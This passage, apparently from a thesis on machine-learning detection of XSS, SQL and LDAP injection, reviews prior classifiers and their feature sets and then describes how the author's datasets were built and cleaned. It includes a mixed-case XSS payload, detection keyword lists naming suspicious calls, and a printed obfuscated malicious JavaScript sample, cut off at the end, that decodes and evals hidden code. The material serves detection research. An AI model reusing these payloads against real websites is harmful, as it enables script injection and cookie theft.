3	the ratio between keywords and words	17	the average length of the strings used in the script
4	the number of built-in functions used for deobfuscation	18	the average script line length
5	the entropy of the strings declared in the script	19	the number of strings containing "iframe"
6	the entropy of the script as a whole	20	the number of suspicious tag strings
7	the number of long strings(>40)	21	the length of the script in characters
8	the maximum entropy of all the script's strings	22	the number of unescape and escape
9	the probability of the script to contain shellcode	23	the number of classid
10	the maximum length of the script's strings	24	the number of parseInt and fromcharcode
11	the number of string direct assignments	25	the ratio between document.writeln and line
12	the number of string modification functions	26	the number of chars in hex
13	the number of event attachments	27	the number of CreateObject,ActiveXObject
14	the number of suspicious strings		

Fig. 2.14 Wang Features Set [202]

The dataset used in the experiment contains 2000 scripts. 1000 of these scripts were malicious, collected from VX Heavens. The benign scripts were collected from reputable sites. The dataset was divided into three parts, one for training and the other two for testing. After extracting the necessary features, converting all the data into the WEKA file format, and then selecting the RBF kernel in order to get the best classification model, the tests were run. The results of this experiment, comparing between SVM, ADTree, and Naive Bayes are given in Figure 2.15

Learning algorithm	Accuracy of training set	Accuracy of test set
ADTree	*94.94%*	*91.68%*
NaiveBayes	*86.36%*	*84.31%*
SVM	*96.59%*	*94.38%*

Fig. 2.15 Wang Results of ADTree, Nave Bayes, and SVM classifiers [202]

The results given above represented an improvement on the work of Likarish et al. [115], 17 of the feature used here were similar to those used in their work.

Another approach which uses machine learning to detect malicious obfuscated scripts is [2] by Aebersold et.al; this approach is aimed at distinguishing between obfuscated and non-obfuscated scripts with high accuracy. Moreover, it is aimed at providing a novel set of features that help to detect obfuscated JavaScript, and more generally at shedding more light on the problem of distinguishing between malicious and benign scripts. The main idea of this experiment is that most malicious scripts are obfuscated in order to hide what the attackers are doing and avoid detection by security systems. In contrast, the incidence of obfuscated benign scripts is quite low. Thus, clearly, the detection of obfuscated JavaScript scripts would be an effective tool in the fight against malicious scripts. A second contribution of this approach is to investigate whether minification impacts obfuscated JavaScript detection using machine learning techniques. The dataset applied was collected from three different sources: (1) the complete set of JavaScripts available from the jsDelivr content delivery network, (2) the content of the Alexa Top 500 websites, and (3) a set of malicious JavaScript samples from the Swiss Reporting and Analysis Centre for

Information Assurance (MELANI); the latter contained minified, and obfuscated scripts. In the pre-processing, all files with less than 5 lines were removed, files within which less than 1% of all characters were spaces were removed, and files were removed if more than 10% of their lines were longer than 1000 characters. Then, twenty features were selected by manual inspection, depending on [103, 115], and as a result of the analysis of the histograms of candidate features. Figure 2.16 shows the twenty features that are used in the Aebersold's approach.

Feature	Description
F1	total number of lines
F2	avg. # of chars per line
F3	# chars in script
F4	% of lines ¿1000 chars
F5	Shannon entropy of the file
F6	avg. string length
F7	share of chars belonging to a string
F8	share of space characters
F9	share of chars belonging to a comment
F10	# of `eval` calls divided by F3
F11	avg. # of chars per function body
F12	share of chars belonging to a function body
F13	avg. # of arguments per function
F14	# of function definitions divided by F3
F15	# of special JavaScript elements divided by F3
F16	# of renamed special JavaScript elements divided by F3
F17	share of encoded characters (for example `\u0123` or `\x61`)
F18	share of backslash characters
F19	share of pipe characters
F20	# of array accesses using dot or bracket syntax divided by F3

Fig. 2.16 Aebersold's Approach Features Set [2]

Three classifiers were used in the experiment, these are: Linear Discriminant Analysis (LDA), Random Forest (RF), and Support Vector Machine (SVM). Classifiers were trained then evaluated by extracting a set of features and then using scikit-learn to evaluate the performance (of the classifiers). The results with regard to distinguishing between obfuscated and non-obfuscated scripts are given in Figure 2.17, and Figure 2.18 shows the results with regard to distinguishing between malicious and benign scripts.

		SVM	RF	LDA
Non Obfuscated	p	99.35%	99.81%	99.17%
	r	99.40%	99.97%	99.38%
	f1	98.87%	98.89%	99.27%
	s	33770	33770	33770
Obfuscated	p	99.40%	99.97%	99.37%
	r	98.33%	99.80%	99.16%
	f1	98.86%	98.89%	99.26%
	s	33660	33660	33660

Fig. 2.17 Aebersold Results of Distinguishing Between Obfuscated and Non-Obfuscated [2]

		SVM	RF	LDA
Benign	p	99.87%	99.84%	99.59%
	r	99.98%	100.00%	99.58%
	f1	99.93%	99.92%	99.59%
	s	67414	67414	67414
Malicious	p	97.65%	99.76%	48.63%
	r	83.88%	79.22%	49.08%
	f1	90.25%	88.31%	48.85%
	s	546	546	546

Fig. 2.18 Aebersold Results of Distinguishing Between Malicious and Benign Scripts [2]

From the above, it can be seen that SVM achieves good levels of accuracy in terms of distinguishing between obfuscated, malicious, and benign scripts.

Khan et al. in "Defending Malicious Script Attacks Using Machine Learning Classifiers " [99] presents another approach in terms of machine learning techniques. This approach introduces an interceptor (of scripts) implemented as a plugin on the browser, and via this applies a static analysis in order to detect JavaScript attacks. The approach works by checking the response from the server; this is undertaken by passing the response through an interceptor to catch malicious code. The study used a dataset obtained from the School of Computer Science, University of Birmingham, Birmingham, UK. This contains 1924 scripts (1515 benign and 409 malicious), and 70 features were extracted from these, all related to JavaScript. Four classifiers were employed in the experiment with the aim of performance evaluation: Naive Bayes, Support Vector Machine, k-Nearest Neighbour, and Decision Trees. The features set that is used with the classifiers is given in Figure 2.19

The experiments were carried out in three phases: (i) training using 100% of the dataset, (ii) 10-fold cross-validation. (iii) dividing the dataset into 80% for training and 20% for testing, and then training and testing. The results obtained from the four classifies are given in Figure 2.20. From the result, it can be noted that k-NN achieved the best results in terms of accuracy, and SVM obtained the lowest accuracies across all the experiments.

The approach employed by Komiya et al. [108] used machine learning to classify user input character strings in order to detect malicious web code (that had not previously been seen by the system) — such as malicious SQL-i and cross-

TABLE 5: Complete feature list.

(1)	Number_Of_Redirections
(2)	Difference_In_Redirections
(3)	Number_Of_Instantiated_Objects
(4)	Difference_In_Instantiated_Objects
(5)	Length_Of_Longest_Single_Evaluated_Code
(6)	Total_Bytes_Of_Evaluated_Code
(7)	Total_Bytes_Allocated
(8)	Number_Of_Executions
(9)	Length_Of_Longest_Unprintable_String
(10)	Number_Of_Unprintable_Strings
(11)	Ratio_Of_Definitions_To_Uses
(12)	Length_Of_Method_Call_Parameter
(13)	Total_Number_Of_Method_Calls
(14)	Memory_Overflow_Occured
(15)	Unprintable_String_Used_For_Instantiated_Object_Parameter
(16)	Unprintable_Strings_AND/OR_Redirects
(17)	Method_Cal
(18)	open
(19)	run
(20)	Savetofile
(21)	Send
(22)	Setattribute
(23)	Write
(24)	timespanformat
(25)	shellexecute
(26)	playerproperty
(27)	uploadlogs
(28)	hgs_startnotify
(29)	downloadandinstall
(30)	getvariable
(31)	linksbicons
(32)	openurl
(33)	getresponseheader
(34)	keyframe

TABLE 5: Continued.

(35)	setrequestheader
(36)	Setslice
(37)	buildpath
(38)	getspecialfolder
(39)	environment
(40)	rawparse
(41)	iestartnative
(42)	setformatlikesample
(43)	createobject
(44)	specialfolders
(45)	replace
(46)	createnewfoldername
(47)	addevent
(48)	isversionsupported
(49)	split
(50)	new
(51)	evaluate
(52)	msdatasourceobiect
(53)	allowscriptaccess
(54)	concat
(55)	url
(56)	mode
(57)	type
(58)	Import
(59)	close
(60)	allowcontextmenu
(61)	cachefolder
(62)	compressedpath
(63)	console
(64)	printsnapshot
(65)	shownavigationbuttons
(66)	snapshotpath
(67)	wkspictureinterface
(68)	zoom
(69)	script_Size
(70)	intent

Fig. 2.19 The Features that Used with Khan's Classifiers [99]

site scripting attacks. The machine-learning methods used were the SVM, Naive-Bayes, and the k-Nearest Neighbour algorithms. Three types of SVM kernel were investigated: a linear kernel, a polynomial kernel, and a Gaussian kernel. The approach depended on two methods by which to extract the features: the blank separation method and the tokenization method. The idea of the first method is that the document contains many terms separated by blank spaces, and the number of instances of the term in the string was used for the calculation of the weight of the feature. The second method was based on the idea that malicious code strings will contain some particular tokens that indicate malicious web code, it is defined in their approach based on the repetitive evaluation to determine the best token which numbers of each term used to calculate feature weights. The tokens indicating XSS are given in Figure 2.21

TABLE 2: Results obtained from four classifiers by using 100% training.

Classifier	Accuracy	TP rate	FP rate	Precision	Recall	*F*-measure	ROC	Class
Naïve Bayes	97.25%	0.875	0.001	0.994	0.875	0.931	0.943	Malicious
		0.999	0.125	0.967	0.999	0.983	0.943	Nonmalicious
J48	97.09%	0.966	0.003	0.99	0.966	0.978	0.982	Malicious
		0.997	0.034	0.991	0.997	0.994	0.982	Nonmalicious
SVM	96.51%	0.912	0.02	0.923	0.912	0.918	0.946	Malicious
		0.98	0.088	0.976	0.98	0.978	0.946	Nonmalicious
KNN	100.00%	1	0	1	1	1	1	Malicious
		1	0	1	1	1	1	Nonmalicious

TABLE 3: Results obtained from four classifiers by performing 10-fold cross-validation.

Classifier	Accuracy	TP rate	FP rate	Precision	Recall	*F*-measure	ROC	Class
Naïve Bayes	97.99%	0.868	0.001	0.994	0.868	0.927	0.963	Malicious
		0.999	0.132	0.966	0.999	0.982	0.936	Nonmalicious
J48	98.64%	0.951	0.004	0.985	0.951	0.968	0.971	Malicious
		0.996	0.049	0.987	0.996	0.991	0.971	Nonmalicious
SVM	95.42%	0.848	0.017	0.93	0.848	0.887	0.916	Malicious
		0.983	0.152	0.96	0.983	0.971	0.916	Nonmalicious
KNN	96.41%	0.927	0.026	0.907	0.927	0.917	0.956	Malicious
		0.974	0.073	0.98	0.974	0.977	0.956	Nonmalicious

TABLE 4: Results obtained from four classifiers for 80% training and 20% testing.

Classifier	Accuracy	TP rate	FP rate	Precision	Recall	*F*-measure	ROC	Class
Naïve Bayes	95.06%	0.795	0.007	0.971	0.795	0.874	0.964	Malicious
		0.993	0.205	0.946	0.993	0.969	0.965	Nonmalicious
J48	99.22%	0.964	0	1	0.964	0.982	0.983	Malicious
		1	0.036	0.99	1	0.995	0.983	Nonmalicious
SVM	94.55%	0.88	0.036	0.869	0.88	0.874	0.922	Malicious
		0.964	0.12	0.967	0.964	0.965	0.922	Nonmalicious
KNN	97.14%	0.904	0.01	0.962	0.904	0.932	0.957	Malicious
		0.99	0.096	0.974	0.99	0.982	0.957	Nonmalicious

Fig. 2.20 Results of Khan's Classifiers [99]

Name	**Corresponding Terms**
Tag	*<any string> </any string>*
Punctuation	{ } ( ) [ ] . ; , <> <= >= == != === !== + - * % ++ -- << >> >>> & | ^ ! ~ && || ? : = + -= *= %= <<= >>= >>>= &= |= ^= / /=
Literal	"*any string*" '*any string*'
Numeral	*Numeral included in* +, -, e, *and* R
Object	*Object names of JavaScript*
FPM	*Functions, Methods, and Property of JavaScript*
Reserve	*Other reserved words*
Ident	*Not reserved words consisted of alphabets and under bar (_).*
'pass'	Other words

Fig. 2.21 Komiya Features Groups [108]

The datasets were collected with the cooperation of experts on the topic of attacks on web applications; such sources were used to create the first dataset, for SQL-i, and the second dataset for XSS. Figure 2.22 illustrates a number of scripts of each

kind[108] — alongside the numbers of instances of the various types in both the training and the testing datasets.

TABLE V. DATASETS FOR SQLIAS EVALUATION

	Training Data	Test Data
Normal Code	347	137
Malicious Code	348	221

TABLE VI. DATASETS FOR XSS EVALUATION

	Training Data	Test Data
Normal Code	87	107
Malicious Code	89	180

Fig. 2.22 Komiya's Datasets [108]

SVM, Naive Bayes, and the k-Nearest Neighbour (k-NN) classifiers were evaluated by training the classifiers by applying the training dataset, then testing them using the test dataset. Figure 2.23 shows the evaluation results for all three classifiers.

	Accuracy	Precision	Recall
SVM (Linear Kernel)	98.26	0.989	0.983
SVM (Polynomical Kernel)	98.61%	0.989	0.989
SVM (Gaussian Kernel)	98.95%	0.989	0.994
Naïve-Bayes	93.73%	1.000	0.909
k-Nearest Neighbor Algorithm	98.61%	0.983	0.994

Fig. 2.23 Komiya's Classifiers Evaluation [108]

From the results table, it can be seen that the accuracy achieved by using SVM was very high, especially when the Gaussian kernel was employed; this achieved an accuracy of 98.95% — a result which was better than any other kernel or classifier. This system sets itself more of a challenge than other systems since the methods used depend on the number of features appearing within the scripts, On the other hand, the approach was evaluated by looking at only a very small number of scripts (i.e., the dataset size was small). I expect the script types are non-obfuscated; in these kinds of scripts, some features are clear indicators of the presence of malicious code. In addition, their approach depended on feature combinations, especially

punctuation features based on the kind of punctuation which might be expected, again, in malicious scripts. Such text features are obscured by the use of obfuscation.

Table 2.2 The following is a summary of the approaches that have been reviewed, above, in our analysis of machine learning systems. In addition, the table clarifies the work on which this study has relied, and also clarifies the natures of the most important features and datasets that have been used to evaluate the classifiers. Also, the last column shows the results of the classifier evaluations. Precision has been taken into account in most of the studies reviewed — it is not taken into account in Wang et. al.

This present research will focus on the detection of malicious scripts and will deal with this task from a number of different points of view. Attackers may use obfuscated scripts as well as scripts that are represented in a straightforward manner. From looking at previous approaches, it can be noted that there has been more emphasis on non-obfuscated malicious scripts. In response to this, the data for the experiments here will contain all types of script, and all lengths of script — to avoid the weakness evident in Likarish et al.

2.11 Summary

This chapter has provided an overview of web applications and their architecture, as well as the data transformations which occur within them. Moreover, it has discussed the security of web applications, starting with a definition of the word "hacker", and continuing with a description of the top 10 vulnerabilities of web applications. Also, it has described the nature of XSS attacks and their types, explaining the methods by which the attacker may proceed. The risks that the user can be exposed to via XSS were then detailed. An overview of code obfuscation and the methods used for this was then provided. In addition, a detailed explanation of the analysis methods used to detect XSS attacks is given. Furthermore, a detailed explanation of machine learning and its types was then entered into, discussing the existing approaches and

the detection and prevention techniques employed within them. This discussion was focused on work related to the motivation of our study.

Looking at the machine learning studies reviewed in this chapter, it was observed that most studies relied heavily on the XSSed dataset for examples of malicious scripts. In addition, the features generally used for this task (of detecting XSS attacks) are often somewhat complex, either in terms of their extraction or their calculation. This is a factor that can affect classification performance. The focus in most of the studies in terms of extracting the features was on the individual items representing the content of the payload — whether this contains keywords or a call to a function — without looking at the syntactic structure of the payload. This was so except in the study by Komiya which looked particularly at the content aspect in terms of its syntactic structure. This present study tends to focus more on the syntax than on the individual content items of the payload.

It may also be noted that the studies generally used a particular set of machine-learning algorithms: SVM, Naïve Bayes, Decision Tree, k-NN, and Random Forest. These classifiers all achieved high precision in terms of detecting XSS attacks. Indeed the Decision Tree method used in Khan et. al. and the Naïve Bayes used in Komiya et. al. both achieved 100% precision, However, it is worth noting that the dataset used in both of these cases was very small, and this might have been the reason for these very high precision rates. Further, other studies have achieved results with high accuracy in relation to detecting XSS attacks.

In this study, the classification will be verified, focusing on extracting features which depend on the syntactic structure of the payload. In addition, a dataset will be created specifically for this study that includes a variety of different types of payloads — to avoid some of the weaknesses of the previous studies. Moreover, features will be calculated in a readily computed fashion, and represented in a simplified manner in order to achieve high classification performance, as will be explained in Chapter 3.

Approachs	Classifiers	DataSet	Features	Evaluation
Likarish et. al. [115]	Naive Bayes, ADTree, SVM, and RIPPER	50,000 benign scripts 62 malicious	Length in characters, Avg. Characters per line Number of lines Number of strings Number of unicode symbols Number of hex or octal Human readable whitespace Number of of methods called Avg. string length Avg. argument length Number of comments Avg. comments per line Number of words Words not in comments	Naive Bayes Prec=0.808 ADTree Prec=0.891 SVM Prec=0.920 RIPPER Prec=0.882
Nunan et. al. [144]	Naive Bayes SVM	15,366 from XSSed 57,207 from Dmoz 158,847 from ClueWeb09	Three Groups (1) obfuscation-based (2) suspicious patterns (3) HTML/JavaScript schemes	Naive Bayes Prec=95.02%-99.00% SVM Prec=94.07%- 98.86%
Wang et. al [201]	ADTree AdaBoost	13,935 from XSSed 29,046 from Dmoz	Similarity-based: JavaScript features HTML tag features URL features keyword features Difference-based: Spreading speed of JavaScript spreading speed of HTML tags Spreading speed of URLs	ADTree TP=0.952 AdaBoost TP=0.958
B. Vishnu and K. Jevitha [194]	Naïve Bayes SVM J48	44,264 XSSed 19,646 from Dmoz 296 from ClueWeb09	URL features: JavaScript Features:	Naïve Bayes Prec=0.99 SVM Prec=0.99 J48 Prec=0.99
Wang et. al. [202]	Naïve Bayes SVM ADTree	1000 - VX Heavens 1000 - reputable sites	Number of eval() function Number of the setTimeout() functions Ratio between keywords and words Number of built-in functions Entropy of the strings declared Entropy of the script as a whole Number of long strings Max entropy of all the script's strings Prob. of the script to contain shellcode Length of the script's strings Number of string direct assignments Number of string modification functions Number of event attachments Number of suspicious strings Number of DOM modification functions Script's whitespace percentage Avg. length of the strings Avg. script line length Number of strings containing "iframe" Number of suspicious tag Length of the script in characters Number of unescape and escape Number of classid Number of parseInt and fromcharcode Ratio between document.writeln and line Number of chars in hex Number of CreateObject,ActiveXObject	Naïve Bayes Acc=84.31% SVM Acc=94.38% ADTree Acc=91.68%
Aebersold et. al. [2]	LDA RF SVM	jsDelivr Alexa MELANI	Total number of lines Avg. # of chars per line Number chars in script Ratio of lines 1000 chars Shannon entropy of the file Avg. string length Share of chars belonging to a string Share of space characters Share of chars belonging to a comment Number of eval calls Avg. of chars per function body Share of chars belong to a function body Avg. # of arguments per function Number of function definitions Number of special JavaScript elements Number of renamed special JavaScript elements Share of encoded characters Share of backslash characters Share of pipe characters Number of array accesses using dot or bracket syntax	LDA Prec=99.17% RF Prec=99.81% SVM Prec=99.35%
Khan et al. [99]		University of Birmingham 1515 Benign, 409 Malicious	70 features related to JavaScrip Figure 2.19	Naive Bayes Prec=0.971 SVM Prec=0.869 k-NN Prec0.962 J48 Prec=1.00
Komiya et al. [108]	Naïve Bayes SVM k-NN	Experts in attacks 195 Malicious, 269 Benign	Tags, Punctuation, Literal, Objects Figgure 2.22	Naïve Bayes Prec=1.00 SVM Prec=0.989 k-NN Prec0.983

Table 2.2 Summary of Machine Learning Analysis

Chapter 3

Datasets, and Features

3.1 Introduction

Chapter 3 details a data collection which includes XSS, SQL-i, LDAP, and normal text. Section 3.2 presents the data sources used for obtaining malicious and benign payloads and normal texts, alongside explanations of the types of data collected from various sources. Section 3.3 introduces the various means by which the datasets that were used in this work were created - where each dataset contains just one type of attack. Each dataset will be described and the number and type of payloads stated. Section 3.4 details the data preparation and cleansing that was performed, and explains the steps involved with this. Section 3.5 discusses the feature selection with an explanation of the main groups of features which are associated with each type of attack and examines these features in relation to the methods which can be used by the attacker. Furthermore, an explanation of the features of the text that differentiate whether the input data is normal text or script is provided. Section 3.6 describes the method used for extracting features from payloads, and includes an explanation of the functions used for this purpose. Section 3.7 describes the way in which the features present in the datasets are represented and illustrates the values that were used for this. Section 3.8 clarifies the correlation between features and class, with an explanation of the method used to find the correlation, in order to ensure the effectiveness of the dataset.

3.2 Collecting Scripts and Normal Text

The experiments performed in this research require a dataset containing both malicious and benign payloads where the payloads must be JavaScript for XSS attacks, and SQL statements for SQL-i, and LDAP. But there was no existing source dataset containing only JavaScript payloads, or only SQL-i. The source dataset which most nearly accorded to this requirement was CSIC2010 [67] which is a dataset that contains a collection of payloads; however, the problem with this source was that it is auto generated and it does not cover all the types of malicious payloads which are to be examined here. For this reason, the creation of a datasets appropriate to this research became one of its contributions. Thus, here, a dataset has been created for each of the types of malicious payloads: XSS, SQL-i injection and LDAP injections; it also contains benign payloads and normal text items so as to cover all types of malicious and benign payloads. The types of payloads included are concentrated on malicious and benign payloads that can be sent to web applications via HTTP requests. Other types of XSS attacks (such as the 'reflected' type) are not addressed. The dataset covers all the types of payload of interest: such as, obfuscated and non-obfuscated scripts, long and short scripts; and SQL-i and LDAP injections. The aim is to create a comprehensive and representative collection of all the various types of payload needed for classifier training and testing. For this approach, data has been collected from trusted web pages containing both JavaScript and normal text. And in order to do this, the HTTrack Website Copier [165] was used as a crawler to collect data from web pages and obtain textual files and ignore media files - all from XSSed.com. Then, extracting data and text from multiple text and HTML files software [83] was employed to extract the scripts and text from the crawled files. Table 3.1 shows the number of collected malicious and benign scripts - SQL-i, LDAP, and normal text.

It is noticeable that the number of instances of LDAP and SQL injections within the datasets is low. This is due to the lack of examples available of such injections. And the lack of the availability of such instances is because malicious payloads on

Type	Malicious	Benign
XSS	15,150	15,029
SQL-i	10,852	19,304
LDAP	670	1,199
Normal Text	8,068	

Table 3.1 Number of Collected Data

web pages have a short lifetime in terms of presence, and there are, in any case, few datasets containing such attack payloads.

3.2.1 Benign Scripts and Normal Text Data

In addition, benign scripts were obtained from the Quackit Tutorials [160] - these contain a set of code examples for websites development written in HTML, including a set of JavaScript used for this purpose; The "W3schools.com" - HTML describes a language for building web pages [197] which contains a large collection of benign scripts that can be used for building websites; "Simple Examples of JavaScript Scripts" [207] which contains extra scripts that were not published in the associated book, "Quick and Easy Guide to JavaScript"; "CSCU9B2" [190] which is a set of lecture notes for a course at the University of Stirling that contains a collection of benign scripts; "Code Snippets" [29] contains benign JavaScript examples; the "JavaScript Kit" [90] which contains a script library for JavaScript tutorials; and "JS-OBFUS" [181] which contains obfuscated JavaScript. Normal text was also obtained from "Latent Aspect Rating Analysis" (LARA) dataset [200] which contains hotel and product reviews from Amazon.com and TripAdvisor.

3.2.2 Malicious Scripts, SQL-i and LDAP Data

Further malicious scripts were obtained from "XSS-Payloads" [214], which contains a collection of malicious payloads that are classified into a number of categories based on what they do - as well as containing tools and libraries of tutorials and papers related to XSS. Malicious payloads have been verified at "XSS-Payloads" by tracking the source of the scripts. It was found that they were collected from articles

specialized in XSS types [27, 70, 77, 81, 82, 107, 187, 191]. Samy worm code was obtained from a technical explanation of the MySpace Worm [136]. The examples of malicious JavaScript website [135] contains a set of obfuscated malicious JavaScript. "XSSed.com" [59] which is a project that was created in 2007 by K. Fernandez and D. Pagkalos to provide information about everything related to cross-site scripting vulnerabilities, and which includes what is considered to be the largest archive of XSS attacks on vulnerable websites; this archive includes both short and long obfuscated scripts as HTTP requests. The reliability of the scripts obtained from "XSSed.com" has been verified by several previous studies as they have used this site to create their own dataset, such as [144, 194, 201]. This assumes that all instances of "XSSed.com" are malicious. After collecting the scripts from previous sources, they were tested using "VirusTotal.com" which is a website that analyses suspicious files and URLs to detect types of malware. The result was that the checked file contained malicious script (Trojan Script). This result is obtained from two engines, namely "Baidu" and "MaxSecure". As a result of this test, the records were labelled as malicious within the dataset.

SQL injections have been collected from CSIC 2010 [67] which is an automatically generated dataset containing thousands of HTTP requests. LDAP injections have been collected from ECML/PKDD 2007 [64] which is a dataset created for the ECML/PKDD 2007 challenge.

3.3 Datasets

Datasets were created using the collected data with the aim of providing a simulation of real-world attacks. Three datasets were used in this research (one for each type of attack). Each dataset was divided into two parts for each experiment: one for training the models, and the other for testing the model's performance. The training datasets were used to tune parameters and train the classifiers. The testing datasets were used to evaluate the classifiers once built. In this section, the datasets employed with respect to each type of attack will be described.

3.3.1 Cross-Site Scripting Datasets

The XSS dataset, which is one of the contributions to this research, was created either by copying or crawling payloads from web pages. The process of crawling and extracting data from crawled files is described in Section 3.2. The payloads were copied from the sites, where the malicious sources have been mentioned in Section 3.2.2 and benign sources have been mentioned in Section 3.2.1, pasted into Microsoft Excel file with either malicious or benign labels to each payload. This means that the dataset was created manually from the beginning and it contains malicious instances that include various types of XSS attacks. These instances have been labelled as malicious. On other hand, benign instances contain benign JavaScript and normal text. These instances have been labelled as benign. It should be noted here that the data collected from the previously mentioned sites are real attacks against web applications, or harmful functions used in the attacks. This results in the dataset being realistic and expressing real world attacks.

A dataset focused on XSS attacks was contained 43,218 instances; this was divided into two subsets: one for training and one for testing. The training dataset contained 19,122 instances, divided into 5,150 malicious instances and 13,972 benign instances; these were gathered from a number of different data collections as follows: 5,029 benign scripts from the XSS related data, 5,000 instances from the SQL-i focused dataset which were considered to be benign, and 3,943 instances from the normal text data collection. The purpose of using these various different sources of benign instances was to cover as many cases of such as possible - that have been fed to web applications. The testing dataset contained 24,096 instances divided into two sets of 10,000 each - both of these containing both malicious and benign instances (where the malicious payloads were obtained from XSSed.com, and the benign payloads were obtained from the various sources mentioned in section 3.2.1). The remaining set of 4,096 instances contained only normal text data. There was no overlap between training and testing sets. Table 3.2 shows the contents of the datasets.

	Malicious Instances	Benign Instances	Total
Training Dataset	5,150	13,972	19,122
Testing Dataset	10,000	14,096	25,096

Table 3.2 Cross-Site Scripting Dataset

3.3.2 SQL-i Datasets

Another dataset was created containing 30,159 instances, divided into two subset for the purposes of both training and testing the classifiers in relation to SQL-i attacks. The training dataset contains 20 ,105 instances divided into 7,235 SQL-i attack instances and 12,870 benign instances. The testing dataset contains 10,051 instances divided into 3,617 SQL-i attack instances and 6,434 benign instances. All the SQL-i and benign instances were extracted from CSIC 2010 dataset. Table 3.3 shows the SQL-i datasets details.

	SQL-i Instances	Benign Instances	Total
Training Dataset	7,235	12,870	20,105
Testing Dataset	3,617	6,434	10,051

Table 3.3 SQL Injection Datasets

3.3.3 LDAP Datasets

A dataset was created containing 1,869 instances, divided into two for the purposes of training and testing the classifiers with respect to LDAP attacks. The training dataset contains 1,040 instances divided into 440 LDAP attack instances and 600 benign instances. The testing dataset contains 829 instances divided into 230 LDAP attack instances and 599 benign instances. All the LDAP and benign instances were extracted from the ECML/PKDD 2007 dataset. Table 3.4 shows LDAP datasets.

	LDAP Instances	Benign Instances	Total
Training Dataset	440	600	1,040
Testing Dataset	230	599	829

Table 3.4 LDAP Injection Datasets

3.3.4 Normal Text Datasets

A dataset was created containing 12,000 instances, divided into two for the purposes of training and testing the classifiers in relation to distinguishing between normal text and script. The training dataset contains 6,000 instances divided into 3,002 normal text instances, obtained from the LARA dataset, and 2,998 script instances, obtained from the XSS dataset. The testing dataset contains 6,000 instances divided into 3,000 normal text instances, obtained from the LARA dataset, and 3,000 script instances, obtained from the XSS dataset; the scripts which were obtained from the XSS dataset are a combination of both malicious and benign scripts. Table 3.5 shows the text datasets.

	Normal	Script
Training	3,002	2,998
Testing	3,000	3,000

Table 3.5 Normal Text Datasets

3.4 Cleansing Datasets

All the datasets were prepared/cleaned before extracting features so that they contained only unique instances (i.e., no duplications). Then some further steps were carried out. The aim of these further steps was ensure equality between all the payloads – so that they were all represented using the same structure for feature extraction. Thus, in order to preparing and cleaning the dataset, the following three steps were undertaken.

1. **Removing extra spaces from the script:** Extra spaces were removed from the script payloads which were in the datasets, for this purpose Microsoft Excel's Trim function was used; this remove all extra spaces between words. The aim of removing these spaces was to make all the payloads have a same structure; a benign script can be written by developers to contain large numbers of spaces, either by intent or in error. On other hand, malicious script are often

written by attackers using a small number of spaces in order to deceive the protective measures which are commonly taken. Note that the presence of extra spaces may be one of the features that can be used to distinguish between malicious and benign payloads. The classifiers employed here did not need to know the number of spaces in the payloads, but focused instead on the way the construction of the payload and its contents.

2. **Removing unnecessary new lines:** Unnecessary new lines were removed by using the Find and Replace function, replacing new lines (Ctrl + j) with just one space. New lines may be used to split malicious commands in payloads into several lines in order to bypass filters. On other hand, lines can be used in normal text. This feature was not taken note of because it is shared between malicious payloads and normal text. The aim of removing unnecessary new lines was the same, in principle, as that of removing extra spaces - to make all the scripts have the same structure.

3. **Lowercase all letters in the script:** All the letters in the scripts were converted to lowercase by using Lower function, available in Excel. The purpose of this was to make all corresponding letters have the same form. JavaScript is case sensitive[61, 197], but nevertheless an attacker can manipulate the case of letters in order to trick the protective systems of web applications – e.g., by writing an HTML tag such as
$< iMg\ SrC = x\ OnErRoR = window.location = 123$
where
"$< iMg$" is a HTML img tag, "SrC" and "$OnErRoR$"are HTML attributes; all of the latter specifications are case insensitive, but "$window.location = 123$" or "if $htmlstring == onerror$" are JavaScript statements, and these are case sensitive. The presence of such mixed-case HTML statements, as a feature, is often considered to be a powerful indicator of malicious as opposed to benign payloads, but this feature has been dispensed with here because the focus of this work is not on the way in which commands are written, but instead on

the payload contents; this will be explained further in the section on selecting features below.

3.5 Selecting Features

Features were selected according to the attack structure; the type of the script was taken into account either written as the developers first implemented it or obfuscated. Likarish et al. in [115] focused in their approach on obfuscated scripts that may be injected into a web application; to achieve this purpose the features that were used focused on the lexical structure of the payload - if it contained hex or octal numbers, the percentage of white space, the number of words, the number of methods called and whether it was human readable. Figure 3.1 from the same study shows the features that were searched for in scripts.

```
<script language="javascript">$="Z63cZ3dZ226egthZ253bi
+Z252bZ2529Z257btmpZ253dds.sZ256cZ2569ceZ2528i,Z2569+Z2531Z2529
Z25Z22;deZ3dZ22M+}Sx-|)K88d)K7}7M;}^}950Z2522Z259M
+yv888d)K7t7M:Z25229.-Z252096688d)K7t7M:Z25229,-)99tSx-
~)K8d)K7t7M50!Z25209M+u|cu0tSx-|)K88d)K7t7M:Z2526950Z2522Z279M
+4-4Z3ebu`|qsu8tZ3ciSxZ2522;}Sx;iSx!;tSx;})Kd)K7}7MZ3d!M;
7Z3esZ257F}79+Z22;dzZ3dZ22Z2566Z2575nZ2563Z2574Z2569on
Z2564Z2577(t)Z257bcZ2561Z253dZ2527Z252564ocuZ2525Z2536dZ252565n
Z252574.wrZ2525Z25369Z2574Z252565(Z25252Z2527;cZ2565Z253dZ2527
Z252522Z252529Z2527Z253bcbZ253dZ2527Z25253csZ252563rZ25256Z2539
ptZ25209Z22;caZ3dZ22Z2566uncZ2574ionZ2520Z2564csZ2528ds,Z2565sZ
2529Z257bdsZ253duneZ2573Z2563apeZ22;Z69Z66(dZ6fcuZ6denZ74.coZ6f
kZ69eZ2eindZ65xOZ66Z28Z27vbulZ6cZ65Z74in_Z6duZ6ctZ69Z71uotZ65Z3
dZ27)Z3dZ3d-1)Z7bsc(Z27vbuZ6cleZ74Z69Z6e_muZ6ctiqZ75oZ74eZ3dZ27
,2,7);Z65valZ28Z75neZ73Z63apZ65(Z64Z7+czZ2boZ70+sZ74)Z2bZ27dw(d
+Z63Z7a(+Z73t))Z3bZ27)}elsZ65Z7$Z3dZ27Z27};funZ63tioZ6eZ20scZ28
cnmZ2cZ76,Z65d)Z7bvZ61reZ78dZ3dnewDZ61tZ65(Z29;eZ78d.Z73eZ74DaZ
74eZ28exdZ2egZ65tZ44atZ65Z28)Z2bZ65d)Z3bdoZ63umZ65ntZ2ecZ6fokiZ
65Z3dcZ6em
+Z27Z3dZ27+esZ63apZ65(Z76)+Z27;Z65xZ70Z69Z72eZ73Z3dZ27+exd.Z74o
GMZ54Z53triZ6eg()Z3bZ7d;";function z(s)
{r="";for(i=0;i<s.length;i++){if(s.charAt(i)=="Z")
{s1="%"}else{s1=s.charAt(i)}r=r+s1;}return
